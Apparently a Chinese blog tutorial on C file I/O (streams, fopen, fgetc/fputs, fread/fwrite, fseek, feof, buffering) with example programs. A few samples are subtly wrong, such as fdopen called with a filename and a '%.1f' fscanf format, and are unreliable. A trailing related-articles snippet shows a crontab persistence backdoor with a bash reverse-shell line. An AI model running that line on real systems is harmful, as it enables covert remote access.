文件操作~

目录

1.为什么使用文件?

2.什么是文件?

2.1 程序文件

2.2 数据文件

2.3 文件名

3.⼆进制文件和文本文件?

4.文件的打开和关闭

4.1 流和标准流

4.1.1 流

4.1.2 标准流

4.2 文件指针

4.3 ⽂件的打开和关闭

5.文件的顺序读写

5.1 顺序读写函数介绍

5.1.1什么是EOF

5.1.2 fputc函数

5.1.3 fgetc函数

5.1.4 fputs函数

5.1.5 fgets

5.1.6 fprintf函数

5.1.7 fscanf函数

5.1.8 fwrite函数

5.1.9fread函数

5.2 对比⼀组函数:

6.文件的随机读写

6.1fseek

6.2ftell

6.3 rewind

7.文件读取结束的判定

7.1 被错误使用的 feof

8. ⽂件缓冲区


1.为什么使用文件?

如果没有文件,我们写的程序的数据是存储在电脑的内存中,如果程序退出,内存回收,数据就丢失了,等再次运行程序,是看不到上次程序的数据的,如果要将数据进行持久化的保存,我们可以使用文件。

2.什么是文件?

磁盘(硬盘)上的文件是文件。

但是在程序设计中,我们⼀般谈的⽂件有两种:程序文件、数据文件(从文件功能的角度度来分类的)。

2.1 程序文件

程序文件包括源程序文件(后缀为.c),目标文件(windows环境后缀为.obj),可执行程序(windows环境后缀为.exe)。

2.2 数据文件

文件的内容不⼀定是程序,而是程序运行时读写的数据,比如程序运行需要从中读取数据的文件,或者输出内容的文件。

本章讨论的是数据文件。

在以前各章所处理数据的输⼊输出都是以终端为对象的,即从终端的键盘输⼊数据,运行结果显示到显示器上。

其实有时候我们会把信息输出到磁盘上,当需要的时候再从磁盘上把数据读取到内存中使用,这里处理的就是磁盘上文件。

2.3 文件名

⼀个文件要有⼀个唯⼀的文件标识,以便用户识别和引用。

文件名包含3部分:文件路径+文件名主干+文件后缀

例如: c:\code\test.txt

为了方便起见,⽂件标识常被称为文件名。

3.⼆进制文件和文本文件?

根据数据的组织形式,数据文件被称为⼆进制文件和文本文件?

数据在内存中以⼆进制的形式存储,如果不加转换的输出到外存的文件中,就是⼆进制文件

如果要求在外存上以ASCII码的形式存储,则需要在存储前转换。以ASCII字符的形式存储的文件就是文本文件。

⼀个数据在文件中是怎么存储的呢?

字符⼀律以ASCII形式存储,数值型数据既可以用ASCII形式存储,也可以使用二进制形式存储。

如有整数10000,如果以ASCII码的形式输出到磁盘,则磁盘中占用5个字节(每个字符⼀个字节),而⼆进制形式输出,则在磁盘上只占4个字节。

用二进制写入,用文本文件不能打开,只能使用二进制的形式打开

#include <stdio.h>
​
int main() {
    int a = 1000;
    FILE* pf = fdopen("test.txt", "wb");
    fwrite(&a, 4, 1, pf); //找到a的地址写入,写入四个字节,写入一次,找到关联的文件
    fclose(pf);
    pf = NULL;
    return 0;
}

4.文件的打开和关闭

4.1 流和标准流

4.1.1 流

流-->一个媒介,连接程序和外部设备

我们程序的数据需要输出到各种外部设备,也需要从外部设备获取数据,不同的外部设备的输⼊输出操作各不相同,为了方便程序员对各种设备进行方便的操作,我们抽象出了流的概念,我们可以把流想象成流淌着字符的河。

C程序针对文件、画面、键盘等的数据输入输出操作都是通过流操作的。

⼀般情况下,我们要想向流里写数据,或者从流中读取数据,都是要打开流,然后操作,最后关闭流

4.1.2 标准流

那为什么我们从键盘输入数据(在C语言中),向屏幕上输出数据,并没有打开流呢?

那是因为C语⾔程序在启动的时候,默认打开了3个流:

  • stdin - 标准输⼊流,在⼤多数的环境中从键盘输⼊,scanf函数就是从标准输⼊流中读取数据。

  • stdout - 标准输出流,⼤多数的环境中输出到显示器界面,printf函数就是将信息输出到标准输出流中。

  • stderr - 标准错误流,⼤多数环境中输出到显⽰器界⾯

这是默认打开了这三个流,我们使⽤scanf、printf等函数就可以直接进行输入输出操作的。

stdin、stdout、stderr 三个流的类型是: FILE * ,通常称为文件指针。

C语言中,就是通过 FILE* 的文件指针来维护流的各种操作的。

4.2 文件指针

缓冲文件系统中,关键的概念是“文件类型指针”,简称“文件指针”。

每个被使用的文件都在内存中开辟了⼀个相应的文件信息区,⽤来存放⽂件的相关信息(如⽂件的名字,⽂件状态及⽂件当前的位置等)。这些信息是保存在⼀个结构体变量中的。该结构体类型是由系统声明的,取名 FILE.

例如,VS2013 编译环境提供的 stdio.h 头文件中有以下的文件类型申明:

struct _iobuf {
 char *_ptr;
 int _cnt;
 char *_base;
 int _flag;
 int _file;
 int _charbuf;
 int _bufsiz;
 char *_tmpfname;
};
typedef struct _iobuf FILE;

每当打开⼀个文件的时候,系统会根据文件的情况自动创建⼀个FILE结构的变量,并填充其中的信息,使用者不必关心细节。⼀般都是通过⼀个FILE的指针来维护这个FILE结构的变量,这样使用起来更加方便。

下⾯我们可以创建⼀个FILE*的指针变量:

FILE* pf;//⽂件指针变量

定义pf是⼀个指向FILE类型数据的指针变量。可以使pf指向某个文件的文件信息区(是⼀个结构体变量)。通过该⽂件信息区中的信息就能够访问该文件。也就是说,通过⽂件指针变量能够间接找到与它关联的⽂件

4.3 ⽂件的打开和关闭

文件在读写之前应该先打开文件,在使用结束之后应该关闭文件。

在编写程序的时候,在打开文件的同时,都会返回⼀个FILE*的指针变量指向该⽂件,也相当于建立了指针和文件的关系。

ANSI C 规定使用 fopen 函数来打开文件, fclose 来关闭文件。

文件操作,文件中有路径的话 最好加上两个斜杠

  • E:\C\Code\Cproject\practice6.17\practice6.17(绝对路径)

  • 如果用相对路径, " . " 表示当前路径 ". ."表示上一级路径

    • 那我们要访问该路径的上一级路径的文件时, " .\ \ ..\ \ test.txt "

int main() {
    //1.打开文件
    //打开成功返回一个有效的指针
    //打开失败,返回NULL(判断文件指针是否为空)
    FILE* pf = fopen("test.txt", "w"); //D:\\WeGameApps\\
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.写文件操作
    //...
​
    //关闭文件
    fclose(pf);
​
}

5.文件的顺序读写

5.1 顺序读写函数介绍

文件按照顺序去读写,光标

5.1.1什么是EOF

在C语言中,EOF(End of File)是一个特殊的标记,用于表示文件的结尾。当我们读取文件或者输入数据时,EOF可以帮助我们确定何时到达了文件的末尾。本文将详细介绍EOF的意义和用法,并提供一些示例代码以帮助理解。

  1. EOF的意义 EOF在C语言中用于标识文件的结尾。当我们从文件中读取数据时,EOF可以告诉我们何时已经读取完了文件中的所有内容。这对于文件的处理非常重要,因为它允许我们在读取文件时判断何时停止读取并继续执行其他操作。

  2. EOF的用法 在C语言中,我们可以使用EOF常量来表示文件的结尾。EOF的值是一个特殊的整数常量,通常被定义为-1。当我们从文件中读取数据时,EOF常量可以与读取的字符进行比较,以确定是否已经到达了文件的结尾。

如下代码从文件中读取所有字符 等于EOF就是到了文件结尾,结束循环

while((ch = fgetc(pf)) != EOF)

5.1.2 fputc函数

写字符操作,一个个字符写入 该函数有两个参数 ---> fputc(i,pf); // i表示要写入的内容 pf 文件指针流

int main() {
    //1.打开文件
    //打开成功返回一个有效的指针
    //打开失败,返回NULL(判断文件指针是否为空)
    FILE* pf = fopen("test.txt", "w");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.写文件操作
    int i = 0;
    for (int i = 'a'; i <= 'z'; i++) {
        fputc(i,pf); // i表示要写入的内容 pf 文件指针流
    }
​
    //关闭文件
    fclose(pf);
​
}

5.1.3 fgetc函数

读字符函数, fgetc(pf), 只有一个参数(文件指针流)

int main() {
    //1.打开文件
    //打开成功返回一个有效的指针
    //打开失败,返回NULL(判断文件指针是否为空)
    FILE* pf = fopen("test.txt", "r");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.读文件操作
    int ch = fgetc(pf); //读取到一个字符赋值给ch 然后光标就往下
    printf("%c\n", ch);
    ch = fgetc(pf);    //再读取一个 赋值给ch 光标再往下
    printf("%c\n", ch);
    ch = fgetc(pf);
    printf("%c\n", ch);
​
    //关闭文件
    fclose(pf);
    pf = NULL;
}

另外一种读 操作 使用EOF

int main() {
    //1.打开文件
    //打开成功返回一个有效的指针
    //打开失败,返回NULL(判断文件指针是否为空)
    FILE* pf = fopen("test.txt", "r");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.读文件操作
    int ch = 0;
    while ((ch = fgetc(pf)) != EOF)
    {
        printf("%c", ch);
    }
​
    //关闭文件
    fclose(pf);
​
}
  • 在上面我们所提到的标准流 stdin和stdout也可以用上面的读写函数,他们适合所有的输入输出流

  • 实现在屏幕输入一个字符,在屏幕输出一个字符

int main() {
    int ch = fgetc(stdin);
    fputc(ch, stdout);
    return 0;
}

5.1.4 fputs函数

int fputs ( const char * str, FILE * stream ); 

文本输入函数, 第一个参数是输入一个字符串,第二个参数是文件指针流

int main() {
    //1.打开文件
    FILE* pf = fopen("test.txt", "w");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.操作文件
    fputs("i am a man", pf);
    //3.关闭文件
    fclose(pf);
    pf = NULL;
    return 0;
}

5.1.5 fgets

char * fgets ( char * str, int num, FILE * stream );

第一个参数用一个字符数组存储读到的字符串,第二个参数,最多读到多少个字符,第三个参数文件指针流

注意:在读字符的时候,实际读到的只是(num-1)个字符因为包含了一个\0,或者遇到换行的时候也会终止读取

int main() {
    //1.打开文件
    FILE* pf = fopen("test.txt", "r");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.操作文件
    char arr[20] = { 0 };
    fgets(arr, 5, pf);
    printf("%s", arr);
    //3.关闭文件
    fclose(pf);
    pf = NULL;
    return 0;
}

同样以上两个函数同样适合所有的输入输出流,以下实现在屏幕输入和输出字符串

int main() {
    char arr[20] = {0};
    fgets(arr, 10, stdin);
    fputs(arr, stdout);
}

5.1.6 fprintf函数

int fprintf ( FILE * stream, const char * format, ... )

格式化输出函数(所有类型都可以) ,适合所有输出流,该函数和printf函数多了个文件指针流,

int main() {
    char name[20] = "aaa";
    int age = 20;
    float score = 95.7f;
    //1.打开文件
    FILE* pf = fopen("test.txt", "w");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.操作文件
    fprintf(pf, "%s %d %.1f", name, age, score);
    //3.关闭文件
    fclose(pf);
    pf = NULL;
    return 0;
}

我们也可以把数据放到结构体里

struct S
{
    char name[20];
    int age;
    float score;
};
​
​
int main() {
    struct  S s = { "lisi",18,96.2f };
    //1.打开文件
    FILE* pf = fopen("test.txt", "w");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.操作文件
    fprintf(pf, "%s %d %.1f", s.name, s.age, s.score);
    //3.关闭文件
    fclose(pf);
    pf = NULL;
    return 0;
}

5.1.7 fscanf函数

int fscanf ( FILE * stream, const char * format, ... );

要先把数据读出放到一个结构体中,再输出到屏幕

struct S
{
    char name[20];
    int age;
    float score;
};
​
​
int main() {
    struct  S s = { 0 };
    //1.打开文件
    FILE* pf = fopen("test.txt", "r"); //读文件
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.操作文件
    //name不用加&符号,因为本来name就是数组首元素地址
    //把文件中的数据读出来后放到结构体中
    fscanf(pf, "%s %d %.1f", s.name, &(s.age), &(s.score)); 
    //再把结构体的数据读出
    printf(" %s %d %.1f", s.name, s.age, s.score);
    //3.关闭文件
    fclose(pf);
    pf = NULL;
    return 0;
}

5.1.8 fwrite函数

size_t fwrite ( const void * ptr, size_t size, size_t count, FILE * stream );

第一个参数,取需要写入文件的数据的地址,第二个参数该数据的大小,第三个参数该数据的个数,

以二进制的形式输出到文件中

struct S
{
    char name[20];
    int age;
    float score;
};
int main() {
    struct  S s = { "lisi",18,96.2f };
    //1.打开文件 二进制形式写入
    FILE* pf = fopen("test.txt", "wb");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.操作文件
    fwrite(&s, sizeof(struct S), 1, pf);
    //3.关闭文件
    fclose(pf);
    pf = NULL;
    return 0;
}
​

5.1.9fread函数

size_t fread ( void * ptr, size_t size, size_t count, FILE * stream );

将文件中以二进制的形式读出放到ptr指向的空间里

struct S
{
    char name[20];
    int age;
    float score;
};
int main() {
    struct  S s = { "lisi",18,96.2f };
    //1.打开文件 二进制形式写入
    FILE* pf = fopen("test.txt", "rb");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.操作文件
    fread(&s, sizeof(struct S), 1, pf);
    printf("%s %d %f", s.name, s.age, s.score);
    //3.关闭文件
    fclose(pf);
    pf = NULL;
    return 0;
}
​

5.2 对比⼀组函数:

  • scanf/fscanf/sscanf

  • printf/fprintf/sprintf

  • 这里重点介绍sscanf函数和sprintf函数

    1.sprintf函数,将其他类型的数据转化成字符串

    struct S
    {
        char name[20];
        int age;
        float score;
    };
    ​
    int main() {
        char arr[100] = {0};
        struct  S s = { "aa",17,96.2f};
        sprintf(arr, "%s %d %f", s.name, s.age, s.score);
        printf("%s\n", arr);
        return 0;
    }

    2.sscanf函数 将字符串转化成其他类型的数据

    struct S
    {
        char name[20];
        int age;
        float score;
    };
    ​
    int main() {
        char arr[100] = {0};
        struct  S s = { "aa",17,96.2f};
        //临时变量
        struct S tmp = { 0 };
    ​
        sprintf(arr, "%s %d %f", s.name, s.age, s.score);
        /*printf("%s\n", arr);*/
        sscanf(arr, "%s %d %f", tmp.name, &(tmp.age), &(tmp.score));
        printf("%s %d %f", tmp.name, tmp.age, tmp.score);
        return 0;
    }

6.文件的随机读写

6.1fseek

根据⽂件指针的位置和偏移量来定位⽂件指针(⽂件内容的光标)。

 int fseek ( FILE * stream, long int offset, int origin );

offsetof --- 计算结构体成员相比于起始位置的偏移量

我们看下面代码 如果想单独读字符e就会比较麻烦,我们可以用fseek函数

int main() {
    FILE* pf = fopen("test.txt", "rb");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.读文件
    int ch = fgetc(pf); //读取到一个字符赋值给ch 然后光标就往下
    printf("%c\n", ch);
    ch = fgetc(pf);    //再读取一个 赋值给ch 光标再往下
    printf("%c\n", ch);
    ch = fgetc(pf);
    printf("%c\n", ch);
​
    fclose(pf);
    pf = NULL;
    return 0;
}

fseek函数,第三个参数可以有三种选项

SEEK_SET文件开头位置
SEEK_CUR文件指针指向的当前位置
SEEK_END文件末尾
int main() {
    FILE* pf = fopen("test.txt", "rb");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.读文件
    int ch = fgetc(pf); //读取到一个字符赋值给ch 然后光标就往下
    printf("%c\n", ch);
    ch = fgetc(pf);    //再读取一个 赋值给ch 光标再往下
    printf("%c\n", ch);
    fseek(pf, 2, SEEK_CUR);//在当前位置偏移两个位置找到e
    ch = fgetc(pf);    
    printf("%c\n", ch);
    fclose(pf);
    pf = NULL;
    return 0;
}

6.2ftell

返回文件指针相对于起始位置的偏移量

我们看下面代码,读完e之后往下一光标,输出偏移量为5

int main() {
    FILE* pf = fopen("test.txt", "rb");
    if (pf == NULL) {
        perror("fopen");
        return 1;
    }
    //2.读文件
    int ch = fgetc(pf); //读取到一个字符赋值给ch 然后光标就往下
    printf("%c\n", ch);
    ch = fgetc(pf);    //再读取一个 赋值给ch 光标再往下
    printf("%c\n", ch);
    fseek(pf, 2, SEEK_CUR);
    ch = fgetc(pf);    
    printf("%c\n", ch);
    //输出文件指针相比于文件的起始位置的偏移量
    printf("%d", ftell(pf));
    fclose(pf);
    pf = NULL;
    return 0;
}

6.3 rewind

让文件指针的位置回到文件的起始

void rewind ( FILE * stream );

7.文件读取结束的判定

7.1 被错误使用的 feof

牢记:在文件读取过程中,不能用feof函数的返回值直接来判断文件的是否结束。

因为文件结束有两种,1.遇到文件结尾,2.遇到错误

feof 的作用是:当文件读取结束的时候,再判断是读取结束的原因是否是:遇到文件尾结束。

feof的返回值,如果没有设置就默认返回0(还没到文件末尾),返回1的话代表已经到达文件末尾

1.文本文件读取是否结束,判断返回值是否为 EOF ( fgetc ),或者 NULL ( fgets )

例如:

  • fgetc 判断是否为 EOF .

  • fgets 判断返回值是否为 NULL .

2.二进制文件的读取结束判断,判断返回值是否小于实际要读的个数

例如:fread判断返回值是否小于实际要读的个数。

文本文件例子:

include <stdio.h>
#include <stdlib.h>
int main(void)
{
 int c; // 注意:int,⾮char,要求处理EOF
 FILE* fp = fopen("test.txt", "r");
 if(!fp) {
 perror("File opening failed");
 return EXIT_FAILURE;
 }
 //fgetc 当读取失败的时候或者遇到⽂件结束的时候,都会返回EOF
 while ((c = fgetc(fp)) != EOF) // 标准C I/O读取⽂件循环
 { 
 putchar(c);
 }
 //判断是什么原因结束的
 if (ferror(fp))
 puts("I/O error when reading");
 else if (feof(fp))
 puts("End of file reached successfully");
 fclose(fp);
}

二进制的例子

#include <stdio.h>
enum { SIZE = 5 };
int main(void)
{
    double a[SIZE] = { 1.,2.,3.,4.,5. };
    FILE* fp = fopen("test.bin", "wb"); // 必须⽤⼆进制模式
    fwrite(a, sizeof * a, SIZE, fp); // 写 double 的数组
    fclose(fp);
    double b[SIZE];
    fp = fopen("test.bin", "rb");
    size_t ret_code = fread(b, sizeof * b, SIZE, fp); // 读 double 的数组
    if (ret_code == SIZE) {
        puts("Array read successfully, contents: ");
        for (int n = 0; n < SIZE; ++n)
            printf("%f ", b[n]);
        putchar('\n');
    }
    else { // error handling
        if (feof(fp))
            printf("Error reading test.bin: unexpected end of file\n");
        else if (ferror(fp)) {
            perror("Error reading test.bin");
        }
    }
    fclose(fp);
}
  • ferro函数,如果返回一个非零的整数值,说明读取出问题;返回一个0则表示没有问题

小练习:写一个程序将一个txt文件的内容复制到另外一个txt文件

int main() {
    //打开文件
    FILE* pfread = fopen("test.txt", "r");
    if (pfread == NULL) {
        perror("fopen\n");
        return 1;
    }
    FILE* pfwrite = fopen("test2.txt","w");
    if (pfwrite == NULL) {
        perror("fopen\n");
        fclose(pfread); //如果打开文件操作出错,则关闭pfread流
        return 1;
    }
    //读或写文件
    int ch = 0; //返回值要为int类型
    while ((ch = fgetc(pfread)) != EOF) {
        fputc(ch, pfwrite); //ch表示要写入的字符
    }
    //关闭文件
    fclose(pfread);
    pfread = NULL;
    fclose(pfwrite);
    pfwrite = NULL;
}

8. ⽂件缓冲区

ANSIC 标准采用“缓冲文件系统” 处理的数据文件的,所谓缓冲文件系统是指系统自动地在内存中为程序中每⼀个正在使⽤的⽂件开辟⼀块“文件缓冲区”。从内存向磁盘输出数据会先送到内存中的缓冲区,装满缓冲区后才⼀起送到磁盘上。如果从磁盘向计算机读⼊数据,则从磁盘文件中读取数据输⼊到内存缓冲区(充满缓冲区),然后再从缓冲区逐个地将数据送到程序数据区(程序变量等)。缓冲区的大小根据C编译系统决定的。

简单来说,就是不能一直让操作系统处理数据,先把数据存起来,再一次过处理,而不是每发一次就处理一次

#include <stdio.h>
#include <windows.h>
//VS2022 WIN11环境测试
int main()
{
 FILE*pf = fopen("test.txt", "w");
 fputs("abcdef", pf);//先将代码放在输出缓冲区
 printf("睡眠10秒-已经写数据了,打开test.txt⽂件,发现⽂件没有内容\n");
 Sleep(10000);
 printf("刷新缓冲区\n");
 fflush(pf);//刷新缓冲区时,才将输出缓冲区的数据写到⽂件(磁盘)
 //注:fflush 在⾼版本的VS上不能使⽤了
 printf("再睡眠10秒-此时,再次打开test.txt⽂件,⽂件有内容了\n");
 Sleep(10000);
 fclose(pf);
 //注:fclose在关闭⽂件的时候,也会刷新缓冲区
 pf = NULL;
 return 0;
}

因为有缓冲区的存在,C语言在操作文件的时候,需要做刷新缓冲区或者在文件操作结束的时候关闭文件。如果不做,可能导致读写文件的问题,防止信息丢失

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/762726.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Optional类方法

Optional类 方法empty()方法of(T value)ofNullable(T value)filter(Predicate<? super T> predicate)get()ifPresent(Consumer<? super T> consumer)isPresent()map(Function<? super T,? extends U> mapper)orElse(T other)orElseGet(Supplier<? ex…

PostgreSQL介绍与安装

一、PostgreSQL数据库介绍 1、什么是数据库&#xff1f; 数据库&#xff08;Database&#xff09;是按照数据结构来组织、存储和管理数据的仓库。每个数据库都有一个或多个不同的 API 用于创建&#xff0c;访问&#xff0c;管理&#xff0c;搜索和复制所保存的数据。 我们也…

论文复现---基于随机蕨的快速相位差DOA估计

本篇文章是博主在通信等领域学习时&#xff0c;用于个人学习、研究或者欣赏使用&#xff0c;并基于博主对通信等领域的一些理解而记录的学习摘录和笔记&#xff0c;若有不当和侵权之处&#xff0c;指出后将会立即改正&#xff0c;还望谅解。文章分类在通信领域笔记&#xff1a;…

#笔记# 写给自己用的小爬虫

最近完成了一个文旅行业信息聚合的小应用&#xff0c;实现仅从一个入口了解全行业的信息动态&#xff0c;不用一个一个翻看各网站&#xff0c;节省了不少检索时间。 一、基本思路 明确数据来源。基于前述目标&#xff0c;确定数据源为文化和旅游部管理部门官网&#xff0c;比…

二维数组-----螺旋性矩阵输出

题目有点难&#xff0c;ok其实是很难。。。 观察样例输出&#xff0c;不难发现&#xff0c;螺旋数组中元素的递增轨迹为&#xff1a;右右右、下下下、左左左、上上上 简明为&#xff1a;右、下、左、上。可以设开始递增的元素1的位置为&#xff08;x&#xff0c;y)&#xff0c…

如何用大模型RAG做医疗问答系统

代码参考 https://github.com/honeyandme/RAGQnASystemhttps://github.com/LongxingTan/open-retrievals TLDR if 疾病症状 in entities and 疾病 not in entities:sql_q "match (a:疾病)-[r:疾病的症状]->(b:疾病症状 {名称:%s}) return a.名称" % (entitie…

某配送平台未授权访问和弱口令(附赠nuclei默认密码验证脚本)

找到一个某src的子站&#xff0c;通过信息收集插件&#xff0c;发现ZABBIX-监控系统&#xff0c;可以日一下 使用谷歌搜索历史漏洞&#xff1a;zabbix漏洞 通过目录扫描扫描到后台&#xff0c;谷歌搜索一下有没有默认弱口令 成功进去了&#xff0c;挖洞就是这么简单 搜索文章还…

告别流失,拥抱增长!Xinstall智能邀请系统,让你的App拉新更高效

在移动互联网时代&#xff0c;App的推广和运营面临着诸多挑战。其中&#xff0c;如何有效地进行邀请拉新活动&#xff0c;吸引更多新用户&#xff0c;成为了每个运营者都需要面对的问题。今天&#xff0c;我们将为大家介绍一款能够帮助你轻松解决这一难题的神器——Xinstall。 …

权限维持-Linux-定时任务-Crontab后门

目录 靶机编辑后门反弹 靶机添加定时任务 攻击机监听 靶机编辑后门反弹 vim /etc/.xiaodi.sh --创建文件bash -i >& /dev/tcp/IP/998 0>&1 --反弹代码chmod x /etc/.xiaodi.sh --给执行权限 靶机添加定时任务 vim /etc/crontab */1 * * * * r…

【投稿优惠|优质会议】2024年先进技术与教育行业发展国际学术会议(ICATEID 2024)

【投稿优惠|优质会议】2024年先进技术与教育行业发展国际学术会议&#xff08;ICATEID 2024&#xff09; 重要信息 会议官网&#xff1a;http://www.icateid.com 会议地址&#xff1a;三亚 收录检索&#xff1a;EI,CPCI,CNKI,Google Scholar 投稿邮箱&#xff1a;culture…

2024年文化传播与对外交流国际学术会议(ICCCFE 2024)

2024年文化传播与对外交流国际学术会议&#xff08;ICCCFE 2024&#xff09; 2024 International Conference on Cultural Communication and Foreign Exchange(ICCCFE 2024) 会议简介&#xff1a; 2024年文化传播与对外交流国际学术会议&#xff08;ICCCFE 2024&#xff09;定…

Vue2 - 项目上线后生产环境中去除console.log的输出以及断点的解决方案

前言 当你准备将Vue.js应用程序部署到生产环境时,一个关键的优化步骤是移除代码中的所有 console.log 语句以及断点。在开发阶段,console.log 是一个非常有用的调试工具,但在生产环境中保留它们可能会影响性能和安全性。在本文中,我将向你展示如何通过使用Vue CLI 2来自动…

【TB作品】atmega16 计算器,ATMEGA16单片机,Proteus仿真

实验报告&#xff1a;基于ATmega16单片机的简易计算器设计 1. 实验背景 计算器是日常生活和工作中不可或缺的工具&#xff0c;通过按键输入即可实现基本的四则运算。通过本实验&#xff0c;我们将利用ATmega16单片机、矩阵键盘和LCD1602显示屏&#xff0c;设计并实现一个简易…

docker 部署jitsi meet

1. 部署环境&#xff1a; 1.1 vm 虚拟机 安装的 centos 7 1.2 centos7安装docker 和 docker-compose 2.docker命令 官网部署文档地址&#xff1a;&#xff08;文档地址有可能失效&#xff09; Self-Hosting Guide - Docker | Jitsi Meet 2.1Download and extract the late…

机器人控制系列教程之任务空间运动控制器搭建(2)

Simulink中的实例 推文《机器人控制系列教程之任务空间运动控制器搭建(1)》中&#xff0c;我们详细的讲解了Simulink中的taskSpaceMotionModel模块&#xff0c;实现的方式可以按照如下的步骤。 可以控制器模型替换为taskSpaceMotionModel模块后&#xff0c;该模块的输入分别为…

(1)Jupyter Notebook 下载及安装

目录 1. Jupyter Notebook是什么&#xff1f;2. Jupyter Notebook特征3. 应用3. 利用Google Colab安装Jupyter Notebook3.1 什么是 Colab&#xff1f;3.2 访问 Google Colab 1. Jupyter Notebook是什么&#xff1f; 百度百科: Jupyter Notebook&#xff08;此前被称为 IPython …

快钱支付股东全部股权已被质押!

根据近期工商信息&#xff0c;第三方支付机构快钱支付清算信息有限公司&#xff08;简称“快钱支付”&#xff09;实际控股方快钱金融服务&#xff08;上海&#xff09;有限公司&#xff08;简称“快钱金融”&#xff09;&#xff0c;作为出质股权标的企业&#xff0c;被出质给…

如何实现Action菜单

文章目录 1. 概念介绍2. 思路与方法2.1 实现思路2.2 实现方法 3. 示例代码4. 内容总结 我们在上一章回中介绍了"自定义标题栏"相关的内容&#xff0c;本章回中将介绍自定义Action菜单.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我们在这里提到的…

2024年【浙江省安全员-C证】考试报名及浙江省安全员-C证考试总结

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 浙江省安全员-C证考试报名考前必练&#xff01;安全生产模拟考试一点通每个月更新浙江省安全员-C证考试总结题目及答案&#xff01;多做几遍&#xff0c;其实通过浙江省安全员-C证复审模拟考试很简单。 1、【多选题】…

基于CNN的股票预测方法【卷积神经网络】

基于机器学习方法的股票预测系列文章目录 一、基于强化学习DQN的股票预测【股票交易】 二、基于CNN的股票预测方法【卷积神经网络】 文章目录 基于机器学习方法的股票预测系列文章目录一、CNN建模原理二、模型搭建三、模型参数的选择&#xff08;1&#xff09;探究window_size…